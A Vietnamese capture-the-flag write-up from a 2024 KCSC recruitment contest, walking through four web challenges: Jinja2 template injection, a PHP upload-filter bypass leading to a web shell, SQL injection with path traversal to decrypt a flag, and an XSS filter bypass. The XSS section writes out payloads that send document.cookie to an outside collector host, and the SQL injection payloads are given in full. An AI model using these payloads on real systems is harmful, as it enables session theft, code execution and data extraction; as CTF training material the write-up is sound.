---
# System prepended metadata

title: kcsc-recruitment-2024

---

# now you see me
#### http://157.15.86.73:3004
Đầu tiên, mình đã intercept request bằng burpsuite và nhận được response từ server Werkzeug/3.0.4 Python/3.12.6. Đây là một web framework của python ở đây là 3.12.6, python cũng có framework tương tự là flask.

![image](https://hackmd.io/_uploads/HkKU5D8aA.png)

Thoạt đầu, thì mình tưởng chall có bật debug, và mình sẽ phải lấy rce từ debug, nhưng khi truy cập /console thì server trả về 404, debug không được bật! Tiếp theo mình thử chạy dirsearch, khoảng 30 phút và không ra cái dir nào. Sau đó mình đi search CVE xem có CVE nào liên quan đến framework này không, và lại hụt hẫng các lỗ hổng đều liên quan đến debug, mà debug lại không bật. Mình bắt đầu bí vkl, sau 30 phút nữa, mình cố gắng suy nghĩ những gì đã bỏ sót. Mình thử intercept lại và nhận ra khi truyền bất kì một kí tự nào vào tham số user đều reflect lại ở `Welcome , find me at /flag.txt`

![Screenshot 2024-09-17 095427](https://hackmd.io/_uploads/B1hdyOLpA.png)

Đây có thể là xss hoặc một thứ gì đó tương tự. Nhưng chall này không có tương tác từ phía user nên các lỗ hổng client side như xss bị loại. Chỉ còn server side -> SSTI. Mình nhanh chóng test payload

![image](https://hackmd.io/_uploads/HyMBx_U6A.png)

Và chall này dính SSTI thật, vì mình còn thiếu kinh nghiệm chưa exploit SSTI nên mình đã tham khảo payload Jinja2 trên github PayloadsAllTheThings. Jinja2 là một template syntax của python. 

![image](https://hackmd.io/_uploads/rk3PWOIaC.png)

Bùm bùm mình đã có flag.

# easy-upload
#### http://157.15.86.73:3001
Khi mới vào chall thì mình nhận ra mình cần làm đầu tiên là đi tìm path upload của file. Đầu tiên mình đã thử upload 1 file png bình thường lên và đi mò path. Mình thử /uploads/[file] và server return về 404. Sau đó mình cũng thử dirsearch mò xem có dir nào thú zị không, như là bật index, backup source chẳng hạn. Và mình thu về mỗi cái nịt. Quá cay nên mình đã spam vào tham số filename, hi vọng nó sẽ throw error gì đó.

![image](https://hackmd.io/_uploads/SyuS4d860.png)

Jessus nó đã trả về một đống error gì gì đấy. Nhìn kĩ thì nó là path đến file upload, `/uploads/f7c654ac8dfe5dee8b62e0087d32ddba38df07586ecd38bd29cc08e320a06196`. Quá zui cuối cùng cũng tìm ra path. Mình lại upload 1 file png khác để filename bình thường porn.png và thử truy cập nhưng server return 404. Wtf, rõ ràng nó là path upload mà. Sau đó mình đã bí vì không hiểu tại sao server lại ném 404 nên mình đã gửi ticket discord để giải đáp và mình đã được hint là nếu mỗi user lưu vào 1 folder thì dựa trên cái gì hay tạo ra cái name folder đấy từ đâu. Sau một hồi suy nghĩ, mình nghĩ đến PHPSESSID. Mình thử để trống PHPSESSID.

![image](https://hackmd.io/_uploads/B14xvuITA.png)

![image](https://hackmd.io/_uploads/Hk-Gw_U60.png)

Mỗi lần send request nó đều generate ra một tên folder khác biệt. Và ye nó sinh tên folder dựa trên PHPSESSID. Mình thử đặt PHPSESSID=xxx và send request, lúc này thì tên folder vẫn giữ nguyên trong các lần request. Mình đã thử truy cập theo path và đã thành công. 

![image](https://hackmd.io/_uploads/H1Bh2dI6R.png)

Tiếp đến mình thử upload file php để lấy rce. Mình đã thử các đuôi spam linh tinh như porn.porn, porn.ok, porn.djt, đều upload thành công, nhưng khi upload đuôi php thì thất bại. Điều này cho thấy chúng ta cần bypass ở filename. Mình đã dùng hacktricks để thử bypass các đuôi file php, unicode, break file limit,... dùng được nhưng đều thất bại. Sau một hồi suy nghĩ mình đã thử test .php.png, phpphp,png, ... và nó xóa tất cả string "php" trong filename. 

![image](https://hackmd.io/_uploads/BkQketI6A.png)

![image](https://hackmd.io/_uploads/Sk2lltUpR.png)

Lúc này mình nảy ra một ý nghĩ để bypass là chèn php vào khoảng giữa của string p h p -> p php h p -> p php h php p -> pphphphpp. Vì nó sẽ tìm và xóa tất cả string php nên cuối cùng sẽ giữ lại php. 

![image](https://hackmd.io/_uploads/ByKgWFLaR.png)

Bypass thành công. Nhưng khi mình xóa đuôi .png thì server không chấp nhận. Vì filename vẫn bao gồm php nên server không chấp nhận, mình đã stuck đoạn này rất lâu, thử tất cả các trick unicode, %00, .. nhưng thất bại, cho đến khi hint thứ 2 đưa ra là tập trung vào phần Bypass file extensions checks trong hacktricks. Mình lại lóe ra ý tưởng là craft payload như pphphphpP, sau khi xóa sẽ trở thành phP.

![image](https://hackmd.io/_uploads/SkrRzt8pC.png)

thành công rực rỡ. Giờ chỉ cần sửa content file thành shell là lấy được rce rùi.

![image](https://hackmd.io/_uploads/r1uImt8aA.png)

![image](https://hackmd.io/_uploads/Hy6vXtUTA.png)

![image](https://hackmd.io/_uploads/BkyaXYU60.png)

# KCSC x Jujutsu Kaisen
### http://157.15.86.73:3002

Chall cho source bao gồm php và database. Đầu tiên mình vào source php, mình để ý đoạn code này.

![image](https://hackmd.io/_uploads/SJhnNYIaA.png)

Đoạn code nhìn có vẻ được parameter để chống sqli, nhưng khi nhìn kĩ thì username không được parameter mà truyền thẳng vào prepare -> sqli.

Đoạn code thứ 2 dính path travelsal ở biến $username

![image](https://hackmd.io/_uploads/H1tuHKI6A.png)

$imagepath có thể đã được filter các dấu ../ để thành . ngăn không cho travelsal. Mình  đã nghĩ ra được trick bypass là sử dụng ...// để khi xóa sẽ thành ../ . Mình đã test username=...//index.php và server đã return về base64 image.

![image](https://hackmd.io/_uploads/H10tct8a0.png)

Mình decode

![image](https://hackmd.io/_uploads/HyBWitL60.png)

Mình chú ý source có $key_decrypt, nhưng không biết để làm gì. Mình mò lại vào source database thì thấy key_decrypt để decrypt dialogue của user toge và nó bao gồm flag. 

![image](https://hackmd.io/_uploads/SyKhjYI60.png)

Tiếp tục nhìn kĩ thì thấy hàm decrypt bị che

![image](https://hackmd.io/_uploads/ryWQhFLa0.png)

Nghĩa là bây giờ mình phải tìm được phần string còn lại REDACTED. Dùng union ta có thể lấy được list function trong database. Mình đã craft payload `'UNION+SELECT+ROUTINE_NAME+FROM+INFORMATION_SCHEMA.ROUTINES+WHERE+ROUTINE_TYPE+%3d+'FUNCTION'+AND+ROUTINE_SCHEMA+%3d+'jujutsu_kaisen'+%23.jpg`

![image](https://hackmd.io/_uploads/BJF_6YUpC.png)

Tiếp theo, mình cần craft payload để decrypt dialogue, `'+UNION+SELECT+DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue,'$up3r_$3cr3t_4_$3cur3')+AS+decrypted_secret+FROM+users+WHERE+username%3d"toge"%23.jpg%23.jpg`

![image](https://hackmd.io/_uploads/BylH0FUTA.png)

Cuối cùng đã lấy được flag.

# x ec ec
### http://157.15.86.73:3000
Không hiểu sao bài này simple như zậy, rất rất tiếc. Trong lúc làm bài mình đã thử payload `<img src=x onerror=fetch('https://hcxsbvotccupfs1bqb8f92qryi49s7gw.oastify.com?test='+document.cookie); />` Mình nhận thấy các từ khóa như script, onerror, ... sẽ bị xóa mất một vài kí tự, "on" bị xóa làm cho script không còn hợp lệ.

![image](https://hackmd.io/_uploads/r1TIgALTC.png)


Lúc đấy mình nảy ra ý tưởng bypass là mã hóa html chữ "o" lại thành `&#x6F;` nên script sẽ trở thành `<img src=x &#x6F;nerr&#x6F;r=fetch('https://hcxsbvotccupfs1bqb8f92qryi49s7gw.oastify.com?test='+document.cookie); />`. Lúc đó mình không nhận được gì từ burp collaborator, nên đã bỏ cuộc. Mình đã bỏ lỡ một cách bypass đó là double "o" và "n" -> oonnerror -> `<img src=x oonnerror=fetch('https://hcxsbvotccupfs1bqb8f92qryi49s7gw.oastify.com?test='+document.cookie); />`. Sau đó mình gửi payload này vào report và đã nhận được response chứa flag ở burp collaborator.

![image](https://hackmd.io/_uploads/B1W-eAUaA.png)

Thật đáng tiếc...
